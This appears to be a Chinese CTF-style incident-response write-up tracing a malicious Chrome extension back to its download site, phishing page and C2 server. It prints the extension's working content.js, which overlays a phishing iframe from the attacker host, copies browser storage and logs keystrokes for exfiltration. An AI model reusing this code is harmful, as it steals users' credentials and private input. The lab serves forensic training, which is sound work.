news 2026/5/2 7:01:24

谁偷了我的数据? 复盘

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
谁偷了我的数据? 复盘

某科技公司(目标域名设定为 solarsecurity.cn)的安全运维人员小李,近期在负责搭建内部的安全运营平台。但在最近的例行检查中,态势感知设备发出高危告警:小李的办公电脑存在频繁的异常外联,且伴随被远控的迹象。目前仅捕获到其对外访问的可疑IP地址为:47.105.126.219。 请以此为线索上机排查,还原完整的攻击链路。(注:部分恶意行为可能需要特定的环境触发条件,请结合日常用户操作习惯进行排查。

任务1

安全设备捕获到了恶意的网络通信,但究竟是哪个本地程序在发起这些请求?请排查并提交实际建立该可疑连接的“宿主”程序绝对路径。 提交格式: flag{C:\xx\xx\xx.exe}

根据上来题目所知可疑IP为47.105.126.219,先上去看看有没有这个外连ip。

发现是浏览器。这里就可以确定恶意程序就是它了!

也可以使用火绒🗡工具!

所以flag为flag{C:\Program Files\Google\Chrome\Application\chrome.exe}

任务2

经验丰富的应急响应人员深知,刚才找到的宿主程序本身是合法的白名单软件,它只是一个“躯壳”。真正的幕后黑手是潜伏在其中被加载的某个恶意核心组件。请深入排查,揪出这个隐蔽的恶意模块,并提交该组件的唯一标识符(ID)。 提交格式: flag{xxxxxxxxxxxx}

然后根据线索就可以直接去浏览器上看看。在浏览器的任务管理器中(shift+esc)发现了一个插件程序在运行!

然后去插件管理中去收索一下上图画横线的特征!然后就找了这个ID

Service Worker验证一下!

发现请求ip和可疑ip一致。

所以flag为flag{bibkdnmjdmickicfinmfmelnhicamlde}

任务3

梳理时间线是还原攻击过程的关键一步。请查明这个恶意组件最初被植入到受害者本地主机的准确修改时间。 提交格式: flag{YYYY-M-D-H:MM:SS} (注意带上连字符和冒号)

要找到恶意组件侵入时间,就要去插件的详详情里去查看!

点击后就找到了插件脚本位置!后就发现了flag

所以flag为flag{2025-9-26-3:33:35}

任务4

小李究竟是怎么中招的?请结合受害主机留下的历史痕迹,找出小李最初获取/下载该恶意组件的来源网站地址。 提交格式: flag{http://xxx.com/}

一般找下载的什么的都可以去浏览器下载里看看没准就有惊喜!然后用工具查看浏览器日志!

然后就拿到了地址http://blog.fake-sec-tools.com

hack-browser-data.exe工具看浏览器日志找到下载日志。

所以flag为falg{http://blog.fake-sec-tools.com}

任务5

提取出该恶意组件的源码后,我们需要明确它的窃密行为。请对其进行代码审计,找出代码中用于静默获取受害主机互联网出口IP的外部API地址。 提交格式: flag{https://xxx.com/xxx}

根据题目提示就可以去分析content.js文件,就找到了这个API地址了!

const FAKE_SITE_URL = "http://47.105.126.219:8080/fake_site/index.html"; // 攻击者控制的钓鱼页面地址 const C2_HOST = "http://47.105.126.219:8080"; // 命令与控制服务器地址 ​ console.log("Stanley Module Loaded: Target Domain Detected."); // 模块加载日志,用于攻击者调试 ​ window.stop(); // 停止当前页面加载,防止原页面内容干扰钓鱼iframe ​ const iframe = document.createElement('iframe'); // 创建iframe元素用于覆盖原页面 iframe.src = FAKE_SITE_URL; // 设置iframe指向钓鱼页面 iframe.style.cssText = ` // 设置iframe样式使其全屏覆盖 position: fixed; top: 0; left: 0; width: 100%; height: 100%; border: none; z-index: 9999999; background: white; `; document.documentElement.innerHTML = ""; // 清空原页面所有内容 document.documentElement.appendChild(iframe); // 将钓鱼iframe添加到页面 ​ const storageDump = { // 窃取浏览器存储数据 local: JSON.parse(JSON.stringify(localStorage || {})), // 深拷贝localStorage内容 session: JSON.parse(JSON.stringify(sessionStorage || {})) // 深拷贝sessionStorage内容 }; ​ fetch('https://api.ipify.org?format=json', { cache: 'no-store' }) // 获取受害者公网IP地址 .then(r => r.json()) // 解析IP响应 .then(data => { // IP获取成功后的处理 chrome.runtime.sendMessage({ // 向扩展后台发送受害者数据 type: "REGISTER_VICTIM", // 消息类型:注册受害者 ip: data.ip || "fetch-ok-no-ip", // 受害者IP地址 domain: window.location.hostname, // 受害者访问的域名 storage: storageDump, // 窃取的存储数据 ua: navigator.userAgent, // 浏览器用户代理 referrer: document.referrer || "" // 来源页面 }); }) .catch(() => { // IP获取失败时的降级处理 chrome.runtime.sendMessage({ // 向扩展后台发送受害者数据 type: "REGISTER_VICTIM", // 消息类型:注册受害者 ip: "Unknown_IP_" + Math.random().toString(36).substr(2, 5), // 随机生成假IP domain: window.location.hostname, // 受害者访问的域名 storage: storageDump, // 窃取的存储数据 ua: navigator.userAgent, // 浏览器用户代理 referrer: document.referrer || "" // 来源页面 }); }); ​ let keyBuffer = ""; // 键盘输入缓冲区 let lastSendTime = 0; // 上次发送键盘数据的时间戳 const SEND_INTERVAL_MS = 8000; // 发送间隔8秒 ​ document.addEventListener('keydown', (e) => { // 监听键盘输入事件 if (e.key.length === 1 || e.key === 'Enter' || e.key === 'Backspace') { // 处理普通字符和特殊键 keyBuffer += e.key === 'Backspace' ? '←' : e.key; // Backspace记录为←符号 } else if (e.key === ' ') { // 处理空格键 keyBuffer += ' '; } else if (e.key === 'Tab') { // 处理Tab键 keyBuffer += '[Tab]'; } ​ const now = Date.now(); // 获取当前时间戳 if (keyBuffer.length >= 20 || e.key === 'Enter' || (now - lastSendTime > SEND_INTERVAL_MS && keyBuffer.length > 3)) { // 触发发送条件:满20字符、按回车、或超过8秒且有3字符以上 if (keyBuffer.trim()) { // 确保缓冲区非空 chrome.runtime.sendMessage({ // 向扩展后台发送键盘记录 type: "KEYLOG_DATA", // 消息类型:键盘数据 data: keyBuffer, // 记录的键击内容 url: window.location.href, // 当前页面URL timestamp: now // 时间戳 }); console.log("[keylog] Sent:", keyBuffer); // 调试日志,上线前应删除 } keyBuffer = ""; // 清空缓冲区 lastSendTime = now; // 更新最后发送时间 } }); ​ window.addEventListener('beforeunload', () => { // 页面关闭前事件 if (keyBuffer.trim()) { // 如果缓冲区有未发送的内容 chrome.runtime.sendMessage({ // 向扩展后台发送剩余键盘记录 type: "KEYLOG_DATA", // 消息类型:键盘数据 data: keyBuffer + " [unload]", // 标记为页面关闭时发送 url: window.location.href, // 当前页面URL timestamp: Date.now() // 时间戳 }); } }); // 恶意脚本结束

所以flag为flag{https://api.ipify.org?format=json}

任务6

通过深入分析发现,该恶意组件不仅窃密,还会向受害者下发欺骗性的伪造弹窗。请找出受害者点击弹窗后,被重定向去下载后续恶意负载(远控木马)的钓鱼网站完整URL。 提交格式: flag{http://x.x.x.x:port/xxx/xxx/xx}

根据题的目提示和上一题的脚本的分析就可以拿到钓鱼网站完整URL

const FAKE_SITE_URL = "http://47.105.126.219:8080/fake_site/index.html"; // 攻击者控制的钓鱼页面地址 const C2_HOST = "http://47.105.126.219:8080"; // 命令与控制服务器地址 ​ console.log("Stanley Module Loaded: Target Domain Detected."); // 模块加载日志,用于攻击者调试

也可以通过任务4中hack-browser-data.exe生成的日志进行查找

所以flag为flag{http://47.105.126.219:8080/fake_site/index.html}

任务7

受害者在上述钓鱼页面中被诱导下载并执行了进一步的远控木马。请对该木马文件进行分析(或结合流量/日志),提取出攻击者最终用于深度控制受害主机的C2地址和端口。 提交格式: flag{x.x.x.x:port}

要找C2地址和端口的最简单的方法是直接在虚拟机中运行恶意脚本,然后用netstat命令进行查看!

这样就可以清晰的发现恶意脚本的IP和端口

所以flag为flag{143.55.28.36:1234}

要看更详细的视频讲解可以去 ”州弟学安全“大佬那去看视频讲解!

应急响应|全网首发黑灰产靶场之恶意浏览器插件窃密与远控溯源复盘靶场哔哩哔哩bilibili

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/2 6:47:25

手把手教你搭建跨境代购商城(从 0 到 1 完整教程)

很多人问我,怎么从零开始搭建自己的跨境代购商城?今天手把手教你。第一步:选择系统平台市面上的跨境电商系统很多,选平台要考虑几个因素:功能完整度:是否覆盖采购、仓储、物流、商城全流程对接能力&#xf…

作者头像 李华
网站建设 2026/5/2 6:45:32

Python自动化项目架构实战:从Selenium到Playwright的工程化实践

1. 项目概述与核心价值 最近在梳理个人自动化工作流时,发现了一个非常有意思的GitHub项目: rodrigoespinoza815-arch/qiyu-automation 。这个项目名乍一看有点神秘,但深入探究后,我发现它本质上是一个围绕“奇遇”或“自动化任务…

作者头像 李华
网站建设 2026/5/2 6:42:45

MuJoCo物理仿真终极指南:如何彻底解决物体滑动与摩擦失效问题

MuJoCo物理仿真终极指南:如何彻底解决物体滑动与摩擦失效问题 【免费下载链接】mujoco Multi-Joint dynamics with Contact. A general purpose physics simulator. 项目地址: https://gitcode.com/GitHub_Trending/mu/mujoco 你是否在机器人仿真或生物力学研…

作者头像 李华
网站建设 2026/5/2 6:35:34

通过环境变量管理多个项目的Taotoken API Key与配置

通过环境变量管理多个项目的Taotoken API Key与配置 1. 环境变量管理的基本思路 在实际开发中,我们经常需要同时处理多个项目或不同环境(如开发、测试、生产)的配置。将Taotoken API Key和base_url等敏感信息硬编码在代码中不仅不安全&…

作者头像 李华
网站建设 2026/5/2 6:31:27

手把手教你搞定大唐杯5G仿真:从勘站到业务验证的保姆级避坑指南

大唐杯5G仿真实战:从零构建完整通信网络的21个关键步骤 第一次打开大唐杯仿真平台时,那些密密麻麻的参数选项就像天书——天线挂高、IPv6子网划分、光模块选型,每个环节都暗藏玄机。去年带队参赛时,我发现90%的失误都集中在几个特…

作者头像 李华